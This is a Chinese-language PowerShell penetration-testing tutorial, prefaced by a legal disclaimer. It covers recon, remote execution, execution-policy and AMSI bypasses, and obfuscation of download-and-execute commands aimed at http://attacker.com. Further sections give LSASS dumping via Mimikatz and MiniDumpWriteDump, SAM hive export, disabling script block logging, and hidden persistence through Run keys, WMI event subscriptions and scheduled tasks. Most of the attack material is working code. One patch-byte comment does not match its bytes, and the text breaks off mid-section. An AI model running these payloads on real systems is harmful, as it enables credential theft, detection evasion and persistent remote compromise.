**【合规声明】**本文仅供网络安全学习与研究、授权渗透测试及企业安全防御建设参考。未经授权对任何系统实施攻击均属违法行为。请严格遵守《中华人民共和国网络安全法》及相关法律法规,所有技术仅可在授权环境中使用。
一、PowerShell概述与安全机制
PowerShell是微软推出的任务自动化和配置管理框架,由命令行Shell和脚本语言组成,基于.NET Framework(Windows PowerShell)或.NET Core(PowerShell Core)构建。凭借与Windows系统深度集成、可调用.NET全部类库、支持COM/WMI等特性,PowerShell已成为红队渗透测试和蓝队安全运营的核心工具之一。
1.1 PowerShell版本演进
PowerShell从1.0发展至今,功能不断增强,安全机制也逐步完善。各版本的主要功能特性对比如下:
| 版本 | 发布年份 | 内置系统 | 主要功能特性 | 安全相关改进 |
|---|---|---|---|---|
| PowerShell 2.0 | 2009 | Windows 7/2008 R2 | 引入远程管理(Remoting)、后台作业、模块系统 | 无AMSI、无脚本块日志 |
| PowerShell 3.0 | 2012 | Windows 8/2012 | 工作流、计划任务、更新WMI Cmdlet | 引入 constrained language mode |
| PowerShell 4.0 | 2013 | Windows 8.1/2012 R2 | DSC期望状态配置、增强调试功能 | 增强执行策略检查 |
| PowerShell 5.0 | 2015 | Windows 10/2016 | 类定义支持、PackageManagement | 引入AMSI集成、脚本块日志 |
| PowerShell 5.1 | 2017 | Windows 10/2019 | Edition区分、JEA增强 | 增强脚本块日志、受限语言模式 |
| PowerShell 7.0 Core | 2020 | 跨平台安装 | 跨平台支持、并行处理、三元运算符 | 兼容AMSI、增强安全日志 |
**【提示】**PowerShell 5.1是目前Windows系统默认内置的最新版本,也是企业安全防护的重点对象。PowerShell 7.x需要单独安装,许多企业环境中并不存在,攻击者通常利用内置的5.1版本。
1.2 PowerShell执行策略(ExecutionPolicy)
执行策略是PowerShell的第一道安全防线,用于控制脚本的执行条件。但需要注意的是,执行策略并非安全边界,可以轻松绕过。
| 策略名称 | 说明 | 脚本执行条件 |
|---|---|---|
| Restricted | 默认策略 | 不允许执行任何脚本,仅允许交互式命令 |
| AllSigned | 高安全性 | 仅执行由受信任发布者签名的脚本 |
| RemoteSigned | 常用策略 | 本地脚本可直接执行,远程下载脚本需签名 |
| Unrestricted | 低安全性 | 允许执行所有脚本,远程脚本会提示警告 |
| Bypass | 无限制 | 不做任何限制,不提示警告 |
查看和设置执行策略的命令:
powershell
# 查看当前执行策略
Get-ExecutionPolicy
# 查看所有作用域的执行策略
Get-ExecutionPolicy -List
# 设置执行策略(需要管理员权限)
Set-ExecutionPolicy RemoteSigned -Scope LocalMachine
# 设置进程级别执行策略(仅当前会话有效)
Set-ExecutionPolicy Bypass -Scope Process
**【注意】**执行策略设计初衷是防止用户误执行脚本,而非阻止攻击者。攻击者可以通过命令行参数轻松绕过,切勿将其视为安全控制措施。
1.3 PowerShell安全机制详解
1.3.1 AMSI集成(反恶意软件扫描接口)
AMSI(Anti-Malware Scan Interface)是Windows 10引入的安全框架,PowerShell 5.0及以上版本默认集成AMSI。当PowerShell执行脚本或命令时,会将脚本内容传递给AMSI进行扫描,AMSI再调用已注册的杀毒软件(如Windows Defender)进行检测。
AMSI工作流程:
- PowerShell解析脚本内容
- 调用amsiScanBuffer函数将脚本内容传递给AMSI
- AMSI将内容转发给已注册的杀毒引擎
- 杀毒引擎返回扫描结果(AMSI_RESULT_CLEAN或AMSI_RESULT_DETECTED)
- 若检测到恶意内容,PowerShell拒绝执行并报错
1.3.2 Script Block Logging脚本块日志
Script Block Logging(脚本块日志记录)是PowerShell 5.0引入的安全审计功能,可记录PowerShell执行的脚本块内容,包括经过混淆或解码后的实际执行内容。即使攻击者使用编码或混淆技术,日志中也会记录解码后的明文。
相关事件ID:
- Event ID 4104:记录脚本块执行内容(包括脚本块开始执行和结束)
- Event ID 4103:记录模块日志(管道执行详情)
1.3.3 Transcript转录日志
Transcript日志记录PowerShell会话的所有输入输出内容,类似于Linux的script命令。可手动开启或通过组策略强制启用。
powershell
# 手动开启转录
Start-Transcript -Path "C:\Logs\ps_transcript.txt" -Append
# 执行命令(所有内容都会被记录)
Get-Process | Select-Object -First 5
# 停止转录
Stop-Transcript
1.3.4 Constrained Language Mode受限语言模式
受限语言模式是PowerShell的安全限制模式,在该模式下,PowerShell禁止调用大部分.NET API、COM对象和WMI高级功能,仅允许基本Cmdlet执行。通常与AppLocker或WDAC配合使用,当系统启用AppLocker策略时,PowerShell自动切换到受限语言模式。
powershell
# 查看当前语言模式
$ExecutionContext.SessionState.LanguageMode
# 手动设置受限语言模式(仅当前会话)
$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"
1.4 PowerShell安全机制绕过概览
| 安全机制 | 绕过方法 | 难度 | 检测可能性 |
|---|---|---|---|
| 执行策略 | -ExecutionPolicy Bypass参数 | 低 | 中 |
| AMSI | 内存补丁修改amsiScanBuffer | 中 | 高 |
| 脚本块日志 | 反射修改EventProvider | 中 | 高 |
| 受限语言模式 | 利用白名单进程或COM绕过 | 高 | 中 |
| 转录日志 | 停止转录或修改注册表 | 低 | 高 |
二、PowerShell渗透利用基础
2.1 PowerShell信息收集
信息收集是渗透测试的第一步,PowerShell凭借与Windows系统的深度集成,可以高效地收集系统、网络和域环境信息。
2.1.1 系统信息收集
powershell
# 获取完整系统信息
Get-ComputerInfo | Select-Object WindowsProductName, OsVersion, OsBuildNumber, CsProcessors, CsTotalPhysicalMemory
# 获取操作系统版本和补丁信息
Get-WmiObject -Class Win32_OperatingSystem | Select-Object Caption, Version, BuildNumber, SerialNumber
Get-HotFix | Select-Object HotFixID, Description, InstalledOn | Sort-Object InstalledOn -Descending
# 获取已安装服务
Get-WmiObject -Class Win32_Service | Select-Object Name, DisplayName, State, StartMode, PathName | Format-Table -AutoSize
# 获取运行进程
Get-Process | Select-Object Name, Id, Path, Company | Sort-Object Name
# 获取已安装软件
Get-WmiObject -Class Win32_Product | Select-Object Name, Version, Vendor
# 获取自启动程序
Get-CimInstance Win32_StartupCommand | Select-Object Name, Command, Location, User
2.1.2 网络信息收集
powershell
# 获取网络IP配置
Get-NetIPConfiguration | Select-Object InterfaceAlias, IPv4Address, IPv4DefaultGateway, DNSServer
# 获取所有网络适配器
Get-NetAdapter | Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress
# 查看TCP连接和监听端口
Get-NetTCPConnection | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, State, OwningProcess | Sort-Object State
# 查看监听端口
Get-NetTCPConnection -State Listen | Select-Object LocalAddress, LocalPort, OwningProcess
# 端口探测(单个端口)
Test-NetConnection -ComputerName 192.168.1.10 -Port 445
# 批量端口扫描
$targets = 1..254
$targets | ForEach-Object {
$ip = "192.168.1.$_"
$result = Test-NetConnection -ComputerName $ip -Port 445 -WarningAction SilentlyContinue
if ($result.TcpTestSucceeded) {
Write-Output "[+] $ip:445 OPEN"
}
}
# 获取路由表
Get-NetRoute -DestinationPrefix "0.0.0.0/0" | Select-Object NextHop, InterfaceAlias
# 获取DNS缓存
Get-DnsClientCache | Select-Object Entry, Name, Type, Data
2.1.3 域环境信息收集
powershell
# 使用ActiveDirectory模块获取域用户(需要安装RSAT)
Import-Module ActiveDirectory
Get-ADUser -Filter * -Properties Name, Description, MemberOf, LastLogonDate | Select-Object Name, Description, LastLogonDate
# 获取域管理员组
Get-ADGroupMember -Identity "Domain Admins" | Select-Object Name, SamAccountName, ObjectClass
# 获取域控制器
Get-ADDomainController -Filter * | Select-Object Name, HostName, Site, OperatingSystem
# 获取域内所有计算机
Get-ADComputer -Filter * -Properties Name, OperatingSystem, LastLogonDate | Select-Object Name, OperatingSystem, LastLogonDate
# 获取域信任关系
Get-ADTrust -Filter * | Select-Object Name, Source, Target, TrustType, TrustDirection
PowerView模块域信息枚举命令示例:
| 功能 | PowerView命令 | 说明 |
|---|---|---|
| 获取当前域 | Get-NetDomain | 返回当前域对象 |
| 获取域控制器 | Get-NetDomainController | 枚举域控列表 |
| 获取域用户 | Get-NetUser | 获取所有域用户 |
| 获取域管理员 | Get-NetGroupMember -GroupName "Domain Admins" | 获取域管成员 |
| 获取域计算机 | Get-NetComputer | 获取所有域内主机 |
| 查找域管会话 | Invoke-UserHunter | 查找域管登录的会话 |
| 获取GPO | Get-NetGPO | 获取组策略对象 |
| 获取OU | Get-NetOU | 获取组织单元 |
powershell
# 导入PowerView模块
Import-Module .\PowerView.ps1
# 获取当前域信息
Get-NetDomain
# 查找域管登录的会话(用于定位攻击目标)
Invoke-UserHunter -CheckAccess
# 获取所有域内计算机并筛选操作系统
Get-NetComputer -FullData | Select-Object samaccountname, operatingsystem, operatingsystemversion
2.1.4 凭据收集
powershell
# 枚举保存的凭据
cmdkey /list
# 查看凭据管理器中的凭据
Get-StoredCredential -Target "Generic:target"
# 查找LSASS进程
Get-Process lsass
# 查找可能包含凭据的文件
Get-ChildItem -Path C:\Users\ -Recurse -Include "*.txt","*.ini","*.cfg","*.config" -ErrorAction SilentlyContinue | Select-Object FullName
# 查找包含密码的配置文件
Get-ChildItem -Path C:\ -Recurse -Include "web.config","app.config","unattend.xml","sysprep.xml" -ErrorAction SilentlyContinue | Select-Object FullName
# 查找PowerShell历史文件
Get-ChildItem -Path "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" -ErrorAction SilentlyContinue
Get-ChildItem -Path "C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" -ErrorAction SilentlyContinue
2.2 PowerShell远程执行
2.2.1 PowerShell Remoting
PowerShell Remoting基于WinRM(Windows Remote Management)协议,默认使用5985(HTTP)或5986(HTTPS)端口。
powershell
# 建立交互式远程会话
Enter-PSSession -ComputerName 192.168.1.10 -Credential domain\user
# 在远程主机上执行单条命令
Invoke-Command -ComputerName 192.168.1.10 -Credential domain\user -ScriptBlock { Get-Process }
# 在多台主机上并行执行命令
Invoke-Command -ComputerName pc01,pc02,pc03 -ScriptBlock { hostname; whoami }
# 使用会话对象远程执行
$session = New-PSSession -ComputerName 192.168.1.10 -Credential domain\user
Invoke-Command -Session $session -ScriptBlock { ipconfig /all }
Remove-PSSession -Session $session
# 通过CredSSP进行多跳认证(用于内网多跳场景)
Invoke-Command -ComputerName 192.168.1.10 -Credential domain\user -Authentication CredSSP -ScriptBlock { dir \\fileserver\share }
2.2.2 WMI远程执行
powershell
# 使用WMI远程执行命令
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c calc.exe" -ComputerName 192.168.1.10 -Credential domain\user
# 使用wmic命令远程执行
wmic /node:192.168.1.10 /user:domain\user process call create "cmd.exe /c whoami > C:\result.txt"
# 查询远程主机WMI信息
Get-WmiObject -Class Win32_OperatingSystem -ComputerName 192.168.1.10 -Credential domain\user | Select-Object Caption, Version, CSName
2.2.3 各远程执行方式对比
| 远程执行方式 | 端口 | 协议 | 日志记录 | 检测难度 |
|---|---|---|---|---|
| PowerShell Remoting | 5985/5986 | HTTP/HTTPS | 4624/4648/4104 | 中 |
| WMI远程执行 | 135+动态 | DCOM/RPC | 4624/4672 | 高 |
| WinRM原生 | 5985/5986 | HTTP/HTTPS | 4624/4648 | 中 |
| PsExec | 445+动态 | SMB/RPC | 4624/4688/7045 | 低 |
**【注意】**WMI远程执行由于不产生明显的进程创建事件(命令通过WMI提供者执行),检测难度较高,是红队常用的隐蔽执行方式。
三、PowerShell执行策略绕过
执行策略虽然不是安全边界,但在受限环境中仍可能阻碍脚本执行。以下是常见的绕过方法。
3.1 Bypass执行策略
powershell
# 方法一:命令行参数绕过
powershell -ExecutionPolicy Bypass -File .\script.ps1
# 方法二:在当前进程级别设置
powershell -ExecutionPolicy Bypass -Command "Get-Process"
# 方法三:使用-Scope Process(仅当前会话有效)
Set-ExecutionPolicy Bypass -Scope Process -Force
3.2 -EncodedCommand参数执行Base64编码命令
powershell
# 原始命令
$command = "Get-Process | Select-Object -First 5"
# 编码为Base64(PowerShell使用UTF-16LE编码)
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
Write-Output $encodedCommand
# 执行编码后的命令
powershell -EncodedCommand $encodedCommand
# 实际使用示例:编码并执行IEX下载命令
$payload = "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($payload)
$encoded = [Convert]::ToBase64String($bytes)
powershell -EncodedCommand $encoded
**【提示】**Base64编码后的命令长度有限制(约32766个字符),长脚本需要分段编码或使用其他加载方式。
3.3 从内存执行脚本
powershell
# 方法一:使用IEX(Invoke-Expression)从网络加载并执行
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/script.ps1')
# 方法二:使用Invoke-Expression简写
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/script.ps1')
# 方法三:使用.NET WebClient
$wc = New-Object System.Net.WebClient
$wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy()
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials
IEX $wc.DownloadString('http://attacker.com/script.ps1')
# 方法四:使用Invoke-WebRequest
IEX (Invoke-WebRequest -Uri 'http://attacker.com/script.ps1' -UseBasicParsing).Content
# 方法五:从本地文件读取并执行
IEX (Get-Content -Path .\script.ps1 -Raw)
# 方法六:从剪贴板执行
IEX (Get-Clipboard)
3.4 使用反射加载.NET程序集
powershell
# 从文件加载.NET程序集
$assembly = [System.Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes("C:\tools\tool.dll"))
# 从网络加载.NET程序集并调用方法
$bytes = (New-Object System.Net.WebClient).DownloadData('http://attacker.com/tool.dll')
$assembly = [Reflection.Assembly]::Load($bytes)
$type = $assembly.GetType("Tool.ClassName")
$method = $type.GetMethod("MethodName")
$method.Invoke($null, @("argument"))
# 使用Load-Assembly反射加载并执行
$data = (New-Object System.Net.WebClient).DownloadData('http://attacker.com/shellcode.exe')
[Reflection.Assembly]::Load($data).EntryPoint.Invoke($null, @())
3.5 通过COM对象绕过执行策略
powershell
# 使用COM对象执行脚本
$com = New-Object -ComObject ScriptControl
$com.Language = "VBScript"
$com.AddCode('Function Exec(cmd)')
$com.AddCode('Set sh = CreateObject("WScript.Shell")')
$com.AddCode('Exec = sh.Exec(cmd).StdOut.ReadAll()')
$com.AddCode('End Function')
$result = $com.Run("Exec", "powershell -Command Get-Process")
# 使用Excel COM对象执行
$excel = New-Object -ComObject Excel.Application
$excel.Visible = $false
# 通过Excel宏间接执行PowerShell
3.6 各绕过方法对比
| 绕过方法 | 适用版本 | 检测难度 | 绕过效果 |
|---|---|---|---|
| -ExecutionPolicy Bypass | 所有版本 | 低 | 完全绕过 |
| -EncodedCommand | 所有版本 | 中 | 完全绕过 |
| IEX内存加载 | 所有版本 | 中 | 完全绕过 |
| 反射加载.NET | 所有版本 | 高 | 完全绕过 |
| COM对象绕过 | 所有版本 | 高 | 完全绕过 |
| 管道传递执行 | 所有版本 | 低 | 完全绕过 |
**【警告】**所有执行策略绕过方法都能完全绕过执行策略,这再次证明执行策略不是安全边界。企业安全防护不应依赖执行策略。
四、PowerShell免杀与混淆技术
4.1 PowerShell代码混淆方法
4.1.1 变量名混淆
powershell
# 原始代码
$processes = Get-Process
$names = $processes | Select-Object -ExpandProperty Name
Write-Output $names
# 混淆后(使用无意义变量名)
$x7k = Get-Process
$m2p = $x7k | Select-Object -ExpandProperty Name
Write-Output $m2p
# 更深层混淆
$a = "Get"
$b = "Process"
$cmd = $a + "-" + $b
& $cmd
4.1.2 字符串拼接混淆
powershell
# 原始代码
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')
# 字符串拼接混淆
$cmd = "I" + "E" + "X"
$wc = "N" + "ew-Ob" + "ject N" + "et.WebC" + "lient"
$dl = "Down" + "loadS" + "tring"
$url = "ht" + "tp://" + "att" + "acker." + "com/p" + "ayload.ps1"
& $cmd (& $wc).$dl($url)
# 使用格式化字符串混淆
$cmd = "{0}{1}{2}" -f "I","E","X"
$method = "{0}{1}{2}" -f "Download","Str","ing"
& $cmd (New-Object Net.WebClient).$method('http://attacker.com/payload.ps1')
4.1.3 字符替换混淆
powershell
# 使用[char]::ConvertFromUtf32构造命令
$c = [char]::ConvertFromUtf32(71) + [char]::ConvertFromUtf32(101) + [char]::ConvertFromUtf32(116) # "Get"
$p = [char]::ConvertFromUtf32(45) + [char]::ConvertFromUtf32(80) + [char]::ConvertFromUtf32(114) + [char]::ConvertFromUtf32(111) + [char]::ConvertFromUtf32(99) + [char]::ConvertFromUtf32(101) + [char]::ConvertFromUtf32(115) + [char]::ConvertFromUtf32(115) # "-Process"
$cmd = $c + $p
& $cmd
# 使用ASCII码数组构造字符串
$bytes = @(73,69,88) # "IEX"
$str = -join ($bytes | ForEach-Object { [char]$_ })
& $str (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')
4.1.4 反引号转义混淆
powershell
# 原始命令
Get-Process | Where-Object {$_.Name -eq "lsass"}
# 反引号转义混淆(反引号在PowerShell中是转义符,插入到cmdlet名称中不影响执行)
G`e`T-P`r`o`c`e`s`s | W`h`e`r`e-O`b`j`e`c`t {$_.N`a`m`e -eq "l`s`s`a`s`s"}
# 更复杂的反引号混淆
&("{0}{1}{2}{3}" -f 'G','et-','Proc','ess') | &("{0}{1}" -f 'Wher','e-Object') {$_.Name -match "lsass"}
4.1.5 Base64编码混淆
powershell
# 将整个脚本编码为Base64后使用-EncodedCommand执行
$script = @'
Get-Process | Where-Object {$_.Name -eq "lsass"} | Select-Object Id, Name, WorkingSet
'@
$bytes = [System.Text.Encoding]::Unicode.GetBytes($script)
$encoded = [Convert]::ToBase64String($bytes)
# 执行
powershell -EncodedCommand $encoded
# 在脚本中动态解码执行
$encodedPayload = "RwBlAHQALQBQAHIAbwBjAGUAcwBzAA==" # Get-Process的Base64
$decoded = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($encodedPayload))
Invoke-Expression $decoded
4.2 Invoke-Obfuscation框架使用
Invoke-Obfuscation是一个PowerShell代码混淆框架,支持多种混淆方式,可有效绕过AMSI和签名检测。
4.2.1 安装与导入
powershell
# 下载Invoke-Obfuscation
git clone https://github.com/danielbohannon/Invoke-Obfuscation.git
cd Invoke-Obfuscation
# 导入模块
Import-Module .\Invoke-Obfuscation.psd1
# 启动交互式界面
Invoke-Obfuscation
4.2.2 五种混淆模式
| 混淆模式 | 命令 | 效果说明 |
|---|---|---|
| Token混淆 | TOKEN\ALL\1 | 替换所有Token类型(变量、命令、参数等) |
| String混淆 | STRING\1 | 使用多种方式拆分和重组字符串 |
| Encoding混淆 | ENCODING\1-8 | 使用Base64/Octal/Binary/Hex等编码 |
| Compression混淆 | COMPRESS\1-2 | GZip压缩后Base64编码 |
| PSObject混淆 | PSOBJECT\1 | 通过PSObject成员访问混淆 |
4.2.3 混淆前后对比示例
powershell
# 原始命令
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')
# 使用Invoke-Obfuscation Encoding模式混淆后
# (实际输出会是一长串编码后的命令)
$cmd = "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"
# 在Invoke-Obfuscation交互界面中:
# SET SCRIPTBLOCK $cmd
# ENCODING\5
# 输出混淆后的命令
# 使用Token模式混淆后
& ( $ShelLId[1]+$ShelLId[13]+'x') ( ( ((NeW-ObJect NeT.WebClIeNT)).("Down"+"loadStri"+"ng").Invoke('http://attacker.com/payload.ps1') ) )
4.3 AMSI Bypass技术
4.3.1 AMSI工作原理
AMSI通过amsi.dll动态链接库集成到PowerShell进程中。当PowerShell需要执行脚本时,调用amsi.dll导出的AmsiScanBuffer函数,将脚本内容传递给AMSI进行扫描。如果杀毒引擎判定为恶意,返回AMSI_RESULT_DETECTED,PowerShell拒绝执行。
4.3.2 AMSI内存修补Bypass
通过修改amsiScanBuffer函数的内存,使其始终返回AMSI_RESULT_CLEAN(0),从而绕过AMSI检测。
C#实现示例:
csharp
using System;
using System.Runtime.InteropServices;
public class AMSIBypass
{
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize,
uint flNewProtect, out uint lpflOldProtect);
public static void Bypass()
{
IntPtr amsi = LoadLibrary("amsi.dll");
IntPtr bufferAddress = GetProcAddress(amsi, "AmsiScanBuffer");
// 修改内存保护属性为可读写执行
uint oldProtect;
VirtualProtect(bufferAddress, (UIntPtr)8, 0x40, out oldProtect);
// 写入修补字节:xor eax, eax; ret(返回0即AMSI_RESULT_CLEAN)
byte[] patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
Marshal.Copy(patch, 0, bufferAddress, patch.Length);
// 恢复内存保护属性
VirtualProtect(bufferAddress, (UIntPtr)8, oldProtect, out oldProtect);
}
}
PowerShell实现示例:
powershell
# AMSI Bypass - PowerShell版本
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# 另一种方式:反射修改AMSI上下文
$amsi = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$field = $amsi.GetField('amsiSession','NonPublic,Static')
$field.SetValue($null, $null)
# 内存补丁方式(通过Add-Type编译C#代码)
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class AmsiPatch {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
public static void Patch() {
IntPtr amsi = LoadLibrary("amsi.dll");
IntPtr addr = GetProcAddress(amsi, "AmsiScanBuffer");
uint old;
VirtualProtect(addr, (UIntPtr)8, 0x40, out old);
byte[] patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
Marshal.Copy(patch, 0, addr, patch.Length);
VirtualProtect(addr, (UIntPtr)8, old, out old);
}
}
"@
[AmsiPatch]::Patch()
4.3.3 PowerShell AMSI Bypass一行命令
powershell
# 反射修改AMSI程序集(最常见的一行命令)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# 使用反射混淆版本(避免被AMSI检测到Bypass本身本身)
&("System.Management.Automation.AmsiUtils") | Out-Null
$a=[Ref].Assembly.GetType(("Sys{0}tem.Management.Automation.Ams{0}Utils" -f "i"))
$b=$a.GetField(("ams{0}InitFailed" -f "i"),"NonPublic,Static")
$b.SetValue($null,$true)
4.4 Script Block Logging绕过
powershell
# 方法一:通过注册表禁用脚本块日志
$regPath = "HKLM:\SOFTWARE\Microsoft\Windows\PowerShell\ScriptBlockLogging"
if (Test-Path $regPath) {
Set-ItemProperty -Path $regPath -Name EnableScriptBlockLogging -Value 0
}
# 方法二:反射修改EventProvider禁用日志
$etwProvider = [Ref].Assembly.GetType("System.Management.Automation.Tracing.PSEtwLogProvider")
$etwProvider.GetField("m_provider","NonPublic,Static").SetValue($null, $null)
# 方法三:通过反射禁用ETW提供者(更隐蔽)
$guid = [Guid]"a0c1853b-5c40-4b15-8766-3cf1c58f985a" # PowerShell ETW Provider GUID
$type = [Ref].Assembly.GetType("System.Management.Automation.Tracing.PSEtwLogProvider")
$field = $type.GetField("m_provider", [Reflection.BindingFlags]40)
$field.SetValue($null, $null)
4.5 各免杀技术效果对比
| 免杀技术 | 绕过AMSI | 绕过日志 | 绕过EDR | 检测难度 |
|---|---|---|---|---|
| 变量名混淆 | 部分 | 否 | 部分 | 低 |
| 字符串拼接混淆 | 部分 | 否 | 部分 | 中 |
| 字符替换混淆 | 部分 | 否 | 部分 | 中 |
| Base64编码混淆 | 是 | 否 | 部分 | 中 |
| Invoke-Obfuscation | 是 | 否 | 部分 | 中 |
| AMSI内存补丁 | 是 | 不影响 | 部分 | 高 |
| Script Block Logging绕过 | 不影响 | 是 | 部分 | 高 |
| 组合使用 | 是 | 是 | 部分 | 高 |
**【警告】**免杀技术是攻防对抗的动态博弈。安全团队不应依赖单一检测手段,应结合AMSI、脚本块日志、EDR行为分析等多维度检测。
五、PowerShell后渗透利用
5.1 凭据窃取
5.1.1 Mimikatz via PowerShell
powershell
# 使用Invoke-Mimikatz(来自PowerSploit)
Import-Module .\Invoke-Mimikatz.ps1
# 导出凭据(需要管理员权限)
Invoke-Mimikatz -DumpCreds
# 导出所有凭据(包括Kerberos票据)
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords" "sekurlsa::tickets"'
# 从远程主机导出凭据
Invoke-Mimikatz -DumpCreds -ComputerName 192.168.1.10
# 使用DUMP Hash提取NTLM哈希
Invoke-Mimikatz -Command '"lsadump::sam"' # 导出SAM数据库中的哈希
Invoke-Mimikatz -Command '"lsadump::dcsync /domain:contoso.com /user:Administrator"' # DCSync攻击
5.1.2 调用Windows API读取LSASS内存
powershell
# 使用PowerShell直接调用MiniDumpWriteDump API转储LSASS
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class MiniDump {
[DllImport("dbghelp.dll")]
public static extern bool MiniDumpWriteDump(IntPtr hProcess, uint ProcessId,
IntPtr hFile, uint DumpType, IntPtr ExceptionParam,
IntPtr UserStreamParam, IntPtr CallbackParam);
}
"@
# 获取LSASS进程
$lsass = Get-Process lsass
$handle = $lsass.Handle
# 创建转储文件
$dumpFile = [System.IO.File]::Create("C:\Windows\Temp\lsass.dmp")
[MiniDump]::MiniDumpWriteDump($handle, $lsass.Id, $dumpFile.SafeFileHandle.DangerousGetHandle(), 2, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)
$dumpFile.Close()
Write-Output "[+] LSASS dump saved to C:\Windows\Temp\lsass.dmp"
5.1.3 Kerberos票据操作
powershell
# 使用Rubeus via PowerShell
# 请求TGT(需要明文密码)
Invoke-Rubeus -Command "asktgt /user:username /password:Password123 /domain:contoso.com /dc:dc01.contoso.com"
# 请求TGT(使用哈希)
Invoke-Rubeus -Command "asktgt /user:username /rc4:31d6cfe0d16ae931b73c59d7e0c089c0 /domain:contoso.com"
# 票据注入(PTT)
Invoke-Rubeus -Command "ptt /ticket:doIFmj..."
# 查看当前票据
Invoke-Rubeus -Command "klist"
# 使用PowerShell原生Kerberos票据操作
# 导入Base64编码的Kirbi票据
[Runtime.InteropServices.Marshal]::Copy([Convert]::FromBase64String("base64_ticket"), 0, [IntPtr]::Add([IntPtr]::Zero, 0), 0)
5.1.4 导出注册表中的凭据
powershell
# 导出SAM、SYSTEM、SECURITY注册表 hive(需要SYSTEM权限)
reg save HKLM\SAM C:\Windows\Temp\sam.hive
reg save HKLM\SYSTEM C:\Windows\Temp\system.hive
reg save HKLM\SECURITY C:\Windows\Temp\security.hive
# 使用PowerShell方式
Invoke-Command -ScriptBlock {
reg save HKLM\SAM C:\Windows\Temp\sam.hive
reg save HKLM\SYSTEM C:\Windows\Temp\system.hive
reg save HKLM\SECURITY C:\Windows\Temp\security.hive
}
# 导出后可使用impacket-secretsdump离线提取哈希
# secretsdump.py -sam sam.hive -system system.hive -security security.hive LOCAL
5.2 权限维持
5.2.1 PowerShell注册表后门
powershell
# 创建Run键后门(用户登录时自动执行)
$backdoorScript = "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/backdoor.ps1')"
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "WindowsUpdate" -Value $backdoorScript
# 创建RunOnce键后门(仅执行一次)
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce" -Name "SystemCheck" -Value $backdoorScript
# 创建WMI事件订阅后门(更隐蔽)
# 步骤1:创建事件过滤器(触发条件:用户登录后5分钟)
$filterArgs = @{
Name = "SystemHealthCheck"
EventNameSpace = "root\cimv2"
QueryLanguage = "WQL"
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime > 300"
}
$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $filterArgs
# 步骤2:创建事件消费者(执行的操作)
$consumerArgs = @{
Name = "SystemHealthMonitor"
CommandLineTemplate = "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/backdoor.ps1')"
}
$consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $consumerArgs
# 步骤3:绑定过滤器和消费者
$bindingArgs = @{
Filter = $filter
Consumer = $consumer
}
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments $bindingArgs
Write-Output "[+] WMI事件订阅后门已创建"
5.2.2 PowerShell计划任务后门
powershell
# 创建隐藏计划任务后门
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -Command IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/backdoor.ps1')"
$trigger = New-ScheduledTaskTrigger -AtLogOn -User "domain\user"
$settings = New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
Register-ScheduledTask -TaskName "SystemHealthMonitor" -Action $action -Trigger $trigger -Settings $settings -Principal $principal -Force
# 使用schtasks命令创建(兼容性更好)
